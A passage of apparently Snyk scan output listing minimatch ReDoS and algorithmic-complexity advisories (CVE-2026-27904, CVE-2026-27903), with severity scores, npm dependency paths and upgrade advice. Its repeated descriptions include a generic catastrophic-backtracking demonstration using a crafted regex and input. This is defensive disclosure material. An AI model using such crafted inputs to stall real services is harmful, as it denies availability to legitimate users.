unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], 